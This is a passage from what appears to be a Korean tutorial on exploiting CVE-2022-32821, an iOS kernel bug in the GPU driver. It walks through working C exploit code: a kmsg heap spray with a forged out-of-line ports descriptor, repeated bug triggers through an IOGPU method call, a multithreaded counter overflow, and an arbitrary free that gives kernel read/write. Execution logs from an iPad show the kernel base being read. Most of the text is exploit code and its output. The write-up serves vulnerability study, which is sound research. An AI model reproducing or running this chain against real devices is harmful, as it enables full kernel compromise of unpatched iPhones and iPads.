해당 2가지 함수들에 대해서는 커널 패닉방지/생존을 위해 임의로 호출하는것이므로, 어떤 기능을 수행하는지는 딱히 신경 안써도 된다.

3-3. kmsg 스프레이
- 일부 함수에 대한 설명이 생략됨
spray_default_kalloc_ool_ports: https://github.com/wh1te4ever/xnu_1day_practice/blob/main/CVE-2021-30937/README_ko.md#1-2-spray_default_kalloc_ool_ports0x4000-1-ool_portsspray_data_kalloc_kmsg_single: https://github.com/wh1te4ever/xnu_1day_practice/blob/main/CVE-2021-30937/README_ko.md#1-3-spray_data_kalloc_kmsg_singlekheap_data_spray_buf-kmsg_size
**spray_default_kalloc_ool_ports**에 의해 ****default.kalloc.16384존으로부터 할당받은 OOL 포트 디스크립터를 나중에 임의로 할당해제하기 위해 준비한다. 기존 multicast_bytecopy 익스플로잇 코드를 참고하여 fake descriptor를 만들어주었다.
(mach_msg_ool_ports_descriptor_t) (address = [임의로 해제시킬 OOL 포트 디스크립터 주소], deallocate = 0x00000000, copy = 0x00000000, disposition = 0x00000011, type = 0x00000002, count = ...)
kmsg가 변조되었는지 판단하기 위해 0x1337값과 vftable의 함수 호출을 통해 커널 패닉에서 생존하기 위해 CPP_OBJ_PTR값, 특정 분기로 브랜치되도록 0을 넣은 값 등이 있다.
얼핏 코드만 봐서는 왜 이렇게 데이터를 넣어주었는지, 이해하기 어려울 수 있다.
나중에 더 자세히 말하겠지만, 계획에 대해 간략히 설명하자면, 증가 프리미티프를 통해 kmsg가 변조되었음을 감지함에 따라 여러 kheap_data_ports들중에 손상시킬 수 있는 포트가 어느것에 해당되는지 먼저 확인한다. 그다음으로 mach_msg_body_t의 msgh_descriptor_count를 0에서 1로 증가시킨다음, mach_msg_ool_ports_descriptor_t의 count를 오버플로시켜 0x7f8로 만드는 것이 되겠다.
spray_data_kalloc_complex_kmsg_single 함수의 경우, spray_data_kalloc_kmsg_single 기존 함수와 크게 다르지 않다. msgh_bits에 MACH_MSGH_BITS_COMPLEX만 추가시킨게 전부이다.
int exploit(void) {
...
// STEP 3: spray kmsg (default.kalloc.0x4000 / data.kalloc.0x4000)
// fake descriptor for free primitive
memset(kheap_data_spray_buf, 0x42, 0x4000);
memset(kheap_data_spray_buf, 0, sizeof(mach_msg_header_t));
*(uint32_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t)) = 0; //will be increased after trigger vuln
*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t)) = KHEAP_DEFAULT_MAPPABLE_LOC; // free primitive target
// *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint64_t)) = 0x000007F802110000; // disposition, size, etc
// deallocate = 0x00000000(false), copy = 0x00000000(MACH_MSG_PHYSICAL_COPY), disposition = 0x00000011(MACH_MSG_TYPE_MOVE_SEND), type = 0x00000002(MACH_MSG_OOL_PORTS_DESCRIPTOR)
*(uint32_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint64_t)) = 0x02110000;
//ikm_header+0x20's value will be increased, +1
// C++ vftable ptr to SURVIVE!
*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)) = CPP_OBJ_PTR; //written at ikm_header+0x30
// should be 0 to branch loc_FFFFFFF005DC5118; com.apple.AGXG9P:__text:FFFFFFF005DC50D8 08 02 00 B4 CBZ X8, loc_FFFFFFF005DC5118
*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*2) = 0x0; //written at ikm_header+0x38
//Needed to make ikm_header+0x30's value overflowed to match with 0x7f8;
// C++ vftable ptr to SURVIVE!
*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*3) = CPP_OBJ_PTR; //written at ikm_header+0x40
// should be 0 to branch loc_FFFFFFF005DC5118; com.apple.AGXG9P:__text:FFFFFFF005DC50D8 08 02 00 B4 CBZ X8, loc_FFFFFFF005DC5118
*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*4) = 0x0; //written at ikm_header+0x48
// determine if corrupted kmsg
*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*5) = 0x1337133713371337; //written at ikm_header+0x50
// C++ vftable ptr to SURVIVE!
*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*7) = CPP_OBJ_PTR; //written at ikm_header+0x60
// should be 0 to branch loc_FFFFFFF005DC5118; com.apple.AGXG9P:__text:FFFFFFF005DC50D8 08 02 00 B4 CBZ X8, loc_FFFFFFF005DC5118
*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*8) = 0x0; //written at ikm_header+0x68
for (int i = 0; i < PORTS_COUNT; ++i) {
// KHEAP_DATA_BUFFERS
kheap_data_ports[i] = spray_data_kalloc_complex_kmsg_single(kheap_data_spray_buf, KMSG_SIZE);
}
for (int i = 0; i < PORTS_COUNT; ++i)
{
// KHEAP_DEFAULT
*ool_ports = port_new();
contained_ports[i] = *ool_ports;
mach_port_t *pp = spray_default_kalloc_ool_ports(0x4000, 1, ool_ports);
kheap_default_ports[i] = pp[0];
free(pp);
}
notif_port = port_new();
for (int i = 0; i < PORTS_COUNT; ++i)
{
mach_port_t prev;
mach_port_request_notification(mach_task_self(), contained_ports[i], MACH_NOTIFY_NO_SENDERS, 0, notif_port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &prev);
mach_port_deallocate(mach_task_self(), contained_ports[i]);
}
//STEP 3 end
...
}
mach_port_t spray_data_kalloc_complex_kmsg_single(uint8_t *data, unsigned int size)
{
mach_port_t port = MACH_PORT_NULL;
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
mach_msg_header_t *msg = (mach_msg_header_t *)data;
memset(msg, 0, sizeof(mach_msg_header_t));
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->msgh_bits |= MACH_MSGH_BITS_COMPLEX;
msg->msgh_size = size;
mach_port_construct(mach_task_self(), &options, 0, &port);
msg->msgh_remote_port = port;
mach_msg_send(msg);
return port;
}
kmsg를 스프레이했을때 다음과 같이 구성될 것이다.
(각 영역에 대해 색을 칠해놓았지만, 여전히 보기엔 쉽지 않다.)

4. 첫번째 버그 트리거: kheap_data_ports들중에 어느 포트가 영향을 미치는지 알아내기
이제 버그를 트리거하면, 여러 kheap_data_ports 포트들중 하나의 포트에 해당되는 kmsg의 일부 데이터가 손상되었을 것이다. 정확히 말하자면, kmsg 데이터 중 0x1337… 값을 적어둔 곳이 1증가 되었을 것이다. (0x1337133713371338)
따라서 여러 kheap_data_ports 포트들중에 kmsg가 손상된 하나의 포트를 확인하기 위해, 각 포트들에 대한 메시지를 수신한다. 메시지를 수신했을때, 0x1337133713371337값과 일치하지 않는다면, 해당 포트는 취약점을 통해 우리가 제어할 수 있는 포트라고 판단할 수 있다. 그리고 다시한번 kheap_data_spray_buf 데이터로 메시지를 전송시켜 kmsg 데이터를 유지시켜준다.
int exploit(void) {
...
// STEP 4: Trigger vuln; will increase value in ikm_header+0x50 and determine which kmsg has been corrupted
// 아이디어: port_receive_msg로 어떤포트를 컨트롤하는지 알아낸다음, 해당 포트를 유지한채 다시 매시지를 전송시켜 제대로 컨트롤하기
io_connect_t uc = IOGPU_init();
for (int i = 0; i < 2048; ++i)
IOGPU_create_mtllateeventevent(uc);
IOGPU_create_mtllateeventevent(uc); //real trigger
uint8_t msg_buf[0x4000];
mach_port_t arb_free_holder = MACH_PORT_NULL;
for (int i = 0; i < PORTS_COUNT; ++i) {
memset(msg_buf, 0, KMSG_SIZE);
port_receive_msg(kheap_data_ports[i], msg_buf, sizeof(msg_buf));
if(*(uint64_t*)(msg_buf + 0x48) != 0x1337133713371337) {
printf("kheap_data_idx: %08X\n", i);
kheap_data_idx = i;
arb_free_holder = kheap_data_ports[kheap_data_idx];
send_data_kalloc_complex_kmsg_single(arb_free_holder, kheap_data_spray_buf, KMSG_SIZE); //resend
break;
}
}
printf("Survived, Determined which kmsg has been corrupted!\n");
...
}
uint32_t IOGPU_create_mtllateeventevent(io_connect_t uc)
{
uint64_t Output[2] = {0};
uint64_t OutputCount = 2;
kern_return_t kr = IOConnectCallMethod(uc, 29, 0, 0, 0, 0, Output, &OutputCount, 0, 0);
if (kr)
return 0;
return 1;
}
void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int n)
{
mach_msg((mach_msg_header_t *)buf,
MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE,
0,
n,
p,
0,
0);
}
mach_port_t send_data_kalloc_complex_kmsg_single(mach_port_t port, uint8_t *data, unsigned int size)
{
mach_msg_header_t *msg = (mach_msg_header_t *)data;
memset(msg, 0, sizeof(mach_msg_header_t));
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->msgh_bits |= MACH_MSGH_BITS_COMPLEX;
msg->msgh_size = size;
msg->msgh_remote_port = port;
mach_msg_send(msg);
return port;
}
- 실행 결과
...
kheap_data_idx: 00000BED
Survived, Determined which kmsg has been corrupted!
버그를 트리거했을때, 어떻게 수행되는지 더 구체적으로 알아보자.
파이프 스프레이를 통해 v18을 임의로 조작함으로써 증가 프리미티브를 위한 v19 또한 제어할 수 있다. AGXShared::create_mtllateevalevent 에서 결과적으로 아래와 같이 수행된다.
OSObject::retain호출 (커널 함수 호출 중 패닉에서 생존하기 위함)- 특정 커널 주소인 (0xffffffe37da60000+0x50)에 저장된 값을 1증가시킴. 이는 추후 여러 kheap_data_ports 포트들중에 어느 포트가 손상되었는지 구분하기 위함.
IORegistryIterator::getNextObjectFlat호출 (커널 함수 호출 중 패닉에서 생존하기 위함)- v20 값은 0이기 때문에 LABEL_16으로 브랜치됨 (불필요한 동작 및 커널 패닉 방지 위함)
증가 프리미티프가 어느 곳에 영향을 미치는지, 그림에서 빨간색 부분을 자세히 들여다보면 좋을 듯 싶다.
그 외에도 주황색 부분과 하늘색 부분을 들여다보면, 여전히 복잡하긴 하지만, 커널 함수 호출 중 패닉에서 생존하기 위해 어느 곳을 가리켜서 호출을 수행하는지 알 수 있을 것이다.

5. 두번째 버그 트리거: mach_msg_body_t’s msgh_descriptor_count를 1로 증가시키기
free primitive를 하기 위해 fake descriptor를 kmsg에 적어둔 것을 기억하는가?
mach_port_destroy를 호출함으로써, 거기에 적어둔 OOL 디스크립터 포트 주소가 임의 할당해제가 가능하게끔 만들려면, msgh_descriptor_count를 1 증가시켜야 한다.
ipc_kmsg_clean에서 보다시피 ipc_kmsg_clean_body를 호출할때 2번째 매개변수에 msgh_descriptor_count가 들어감으로써 제대로 할당해제를 수행할 수 있기 때문이다.
// xnu-8019.41.5/osfmk/ipc/ipc_kmsg.c:1842
static void
ipc_kmsg_clean(
ipc_kmsg_t kmsg)
{
ipc_object_t object;
mach_msg_bits_t mbits;
/* deal with importance chain while we still have dest and voucher references */
ipc_importance_clean(kmsg);
mbits = kmsg->ikm_header->msgh_bits;
object = ip_to_object(kmsg->ikm_header->msgh_remote_port);
...
if (mbits & MACH_MSGH_BITS_COMPLEX) { // <- THIS !!!!!
mach_msg_body_t *body;
body = (mach_msg_body_t *) (kmsg->ikm_header + 1);
ipc_kmsg_clean_body(kmsg, body->msgh_descriptor_count,
(mach_msg_descriptor_t *)(body + 1));
}
}
// xnu-8019.41.5/osfmk/ipc/ipc_kmsg.c:1687
static void
ipc_kmsg_clean_body(
__unused ipc_kmsg_t kmsg,
mach_msg_type_number_t number,
mach_msg_descriptor_t *saddr)
{
mach_msg_type_number_t i;
if (number == 0) {
return;
}
for (i = 0; i < number; i++, saddr++) {
switch (saddr->type.type) {
...
case MACH_MSG_OOL_PORTS_DESCRIPTOR: /* 2 */{
ipc_object_t *objects;
mach_msg_type_number_t j;
mach_msg_ool_ports_descriptor_t *dsc;
dsc = (mach_msg_ool_ports_descriptor_t *)&saddr->ool_ports;
objects = (ipc_object_t *) dsc->address;
if (dsc->count == 0) {
break;
}
assert(objects != (ipc_object_t *) 0);
/* destroy port rights carried in the message */
for (j = 0; j < dsc->count; j++) {
ipc_object_t object = objects[j];
if (!IO_VALID(object)) {
continue;
}
ipc_object_destroy(object, dsc->disposition);
}
/* destroy memory carried in the message */
assert(dsc->count != 0);
kfree_type(mach_port_t, dsc->count, dsc->address);
break;
}
...
default:
panic("invalid descriptor type: (%p: %d)",
saddr, saddr->type.type);
}
}
}
파이프 버퍼 데이터를 다시 한번 제어함으로써
이번에는 msgh_descriptor_count값을 1로 증가 프리미티브를 수행 가능하게끔 만든다.
int exploit(void) {
...
// STEP 5: Trigger vuln; will increase mach_msg_body_t's msgh_descriptor_count count
x8 = (KHEAP_DATA_MAPPABLE_LOC+0x20); // x8 will be Pointed here. //com.apple.AGXG9P:__text:FFFFFFF005DC508C LDR X0, [X8,#0x10]
memset_pattern8(pipe_buffer, &x8, pipe_buffer_size);
for(int i = 0; i < pipe_count; i++) {
read(pipefds[2 * i], recv_buf, pipe_buffer_size);
write(pipefds[2 * i + 1], pipe_buffer, pipe_buffer_size-1);
}
IOGPU_create_mtllateeventevent(uc);
printf("Increased mach_msg_body_t's msgh_descriptor_count to 1\n");
...
}
여전히 커널 함수 호출 중 패닉에서 생존하기 위해 같은 곳, 즉 같은 함수를 호출하도록 가리키되,
증가 프리미티프는 이제 msgh_descriptor_count 값이 저장된 주소를 향해 수행된다.

6. 세번째 버그 트리거: mach_msg_ool_ports_descriptor_t의 count를 오버플로우시켜 0x7F8로 만들기
마지막으로 이제 mach_msg_ool_ports_descriptor_t의 count 값을 0x7F8로 만드는 일만 남았다.
3-3 과정에서 올린 그림을 보면 알다시피, 현재 0xfa0997c 값으로 되어있다.
0xffffffe37da60024: 0xffffffe375bd0000 0xfa0997c002110000 <- count = 0xfa0997c
0xffffffe37da60034: 0x00000000ffffffe0 0xfa0997c000000000
멀티쓰레드로 여러번 버그를 트리거 및 증가 프리미티브를 수행하여, 오버플로우되면서 0x7F8로 만들어줄 수 있다. 대신에 약 3분정도 시간이 꽤 걸린다.
int exploit(void) {
...
// STEP 6: Overflowing to make mach_msg_ool_ports_descriptor_t's count = 0x7F8;
printf("Overflowing mach_msg_ool_ports_descriptor_t's count to make 0x7f8...\n");
x8 = (KHEAP_DATA_MAPPABLE_LOC+0x30); // x8 will be Pointed here. //com.apple.AGXG9P:__text:FFFFFFF005DC508C LDR X0, [X8,#0x10]
memset_pattern8(pipe_buffer, &x8, pipe_buffer_size);
for(int i = 0; i < pipe_count; i++) {
read(pipefds[2 * i], recv_buf, pipe_buffer_size);
write(pipefds[2 * i + 1], pipe_buffer, pipe_buffer_size-1);
}
uint32_t cpp_obj_ptr_32 = CPP_OBJ_PTR & 0xFFFFFFFF;
uint64_t make_overflow_count = 0xFFFFFFFF - cpp_obj_ptr_32 + 1;
printf("make_overflow_count = 0x%llx\n", make_overflow_count);
uint64_t iter = make_overflow_count + 0x7F8;
pthread_t pt1;
pthread_t pt2;
pthread_attr_t pattr;
pthread_attr_init(&pattr);
pthread_attr_set_qos_class_np(&pattr, QOS_CLASS_USER_INITIATED, 0);
thread_args_t *args1 = (thread_args_t *)malloc(sizeof(thread_args_t));
thread_args_t *args2 = (thread_args_t *)malloc(sizeof(thread_args_t));
args1->iter_count = (iter / 2);
args1->uc = uc;
args2->iter_count = (iter - (iter / 2));
args2->uc = uc;
pthread_create(&pt1, &pattr, (void *(*)(void *))trigger_vuln, (void *)args1);
pthread_create(&pt2, &pattr, (void *(*)(void *))trigger_vuln2, (void *)args2);
pthread_join(pt1, NULL);
pthread_join(pt2, NULL);
free(args1);
free(args2);
pthread_attr_destroy(&pattr);
printf("Made mach_msg_ool_ports_descriptor_t's count to 0x7F8\n");
...
}
typedef struct {
uint64_t iter_count;
io_connect_t uc;
} thread_args_t;
void *trigger_vuln(void *arg) {
thread_args_t *args = (thread_args_t *)arg;
uint64_t iter = args->iter_count;
io_connect_t uc = args->uc;
for(uint64_t i = 0; i < iter; i++) {
uint64_t remaining = iter - i;
if (remaining % 1000000 == 0) {
printf("[Thread 1 Remaining]: %llu\n", remaining);
}
IOGPU_create_mtllateeventevent(uc);
}
return NULL;
}
void *trigger_vuln2(void *arg) {
thread_args_t *args = (thread_args_t *)arg;
uint64_t iter = args->iter_count;
io_connect_t uc = args->uc;
for(uint64_t i = 0; i < iter; i++) {
uint64_t remaining = iter - i;
if (remaining % 1000000 == 0) {
printf("[Thread 2 Remaining]: %llu\n", remaining);
}
IOGPU_create_mtllateeventevent(uc);
}
return NULL;
}
- 실행 결과
...
[Thread 1 Remaining]: 2000000
[Thread 2 Remaining]: 2000000
[Thread 1 Remaining]: 1000000
[Thread 2 Remaining]: 1000000
Made mach_msg_ool_ports_descriptor_t's count to 0x7F8
그림으로 나타내자면, 다음과 같다.
증가 프리미티브가 영향을 미치는곳은 이제 mach_msg_ool_ports_descriptor_t의 count 값이 된다.

7. exploitation_get_krw_with_arb_free
int exploit(void) {
...
// STEP 7: generic exploitation using arbitrary free
uint64_t kernel_base = 0;
exploitation_get_krw_with_arb_free(arb_free_holder, &kernel_base);
// STEP 8: test kernel r/w, read kernel base
uint32_t mh_magic = kread32(kernel_base);
if (mh_magic != 0xFEEDFACF)
{
printf("mh_magic != 0xFEEDFACF: %08X\n", mh_magic);
return 1;
}
printf("kread32(kernel_base) success: %08X\n", mh_magic);
...
}
8. exploitation_cleanup
int exploit(void) {
...
// STEP 9: cleanup
// generic exploitation cleanup (kernel r/w still active)
exploitation_cleanup();
return 0;
}
실행 결과
ssh [email protected] -p22224
([email protected]) Password for root@iPad7-150:
iPad7-150:~ root# CVE-2022-32821
tfp0 ret: 0x0 ((os/kern) successful)
kext_name: com.apple.kec.corecrypto
kext_addr_slid: 0xfffffff01fc632c0
tfp0 = 0x903
gKernelBase = 0xfffffff021ab0000, gKernelSlide = 0x1aaac000
cpp_obj_ptr = 0xffffffe0fa720690
make_overflow_count = 0x58df970
kheap_data_idx: 00000A92
Survived, Determined which kmsg has been corrupted!
Increased mach_msg_body_t's msgh_descriptor_count to 1
Overflowing mach_msg_ool_ports_descriptor_t's count to make 0x7f8...
Remaining iterations: 93000000
Remaining iterations: 92000000
Remaining iterations: 91000000
Remaining iterations: 90000000
Remaining iterations: 89000000
Remaining iterations: 88000000
Remaining iterations: 87000000
Remaining iterations: 86000000
Remaining iterations: 85000000
Remaining iterations: 84000000
Remaining iterations: 83000000
Remaining iterations: 82000000
Remaining iterations: 81000000
Remaining iterations: 80000000
Remaining iterations: 79000000
Remaining iterations: 78000000
Remaining iterations: 77000000
Remaining iterations: 76000000
Remaining iterations: 75000000
Remaining iterations: 74000000
Remaining iterations: 73000000
Remaining iterations: 72000000
Remaining iterations: 71000000
Remaining iterations: 70000000
Remaining iterations: 69000000
Remaining iterations: 68000000
Remaining iterations: 67000000
Remaining iterations: 66000000
Remaining iterations: 65000000
Remaining iterations: 64000000
Remaining iterations: 63000000
Remaining iterations: 62000000
Remaining iterations: 61000000
Remaining iterations: 60000000
Remaining iterations: 59000000
Remaining iterations: 58000000
Remaining iterations: 57000000
Remaining iterations: 56000000
Remaining iterations: 55000000
Remaining iterations: 54000000
Remaining iterations: 53000000
Remaining iterations: 52000000
Remaining iterations: 51000000
Remaining iterations: 50000000
Remaining iterations: 49000000
Remaining iterations: 48000000
Remaining iterations: 47000000
Remaining iterations: 46000000
Remaining iterations: 45000000
Remaining iterations: 44000000
Remaining iterations: 43000000
Remaining iterations: 42000000
Remaining iterations: 41000000
Remaining iterations: 40000000
Remaining iterations: 39000000
Remaining iterations: 38000000
Remaining iterations: 37000000
Remaining iterations: 36000000
Remaining iterations: 35000000
Remaining iterations: 34000000
Remaining iterations: 33000000
Remaining iterations: 32000000
Remaining iterations: 31000000
Remaining iterations: 30000000
Remaining iterations: 29000000
Remaining iterations: 28000000
Remaining iterations: 27000000
Remaining iterations: 26000000
Remaining iterations: 25000000
Remaining iterations: 24000000
Remaining iterations: 23000000
Remaining iterations: 22000000
Remaining iterations: 21000000
Remaining iterations: 20000000
Remaining iterations: 19000000
Remaining iterations: 18000000
Remaining iterations: 17000000
Remaining iterations: 16000000
Remaining iterations: 15000000
Remaining iterations: 14000000
Remaining iterations: 13000000
Remaining iterations: 12000000
Remaining iterations: 11000000
Remaining iterations: 10000000
Remaining iterations: 9000000
Remaining iterations: 8000000
Remaining iterations: 7000000
Remaining iterations: 6000000
Remaining iterations: 5000000
Remaining iterations: 4000000
Remaining iterations: 3000000
Remaining iterations: 2000000
Remaining iterations: 1000000
Made mach_msg_ool_ports_descriptor_t's count to 0x7F8
kheap_default_idx: 00000BDC
Test kwrite32 and kread32: 0000FEED (should be 0000FEED)
Get kernel base...
Got kernel base: 0xfffffff021ab0000
kread32(kernel_base) success: FEEDFACF
iPad7-150:~ root#
iPad7-150:~ root#
시연 영상
https://www.youtube.com/watch?v=-JZDTxGVFps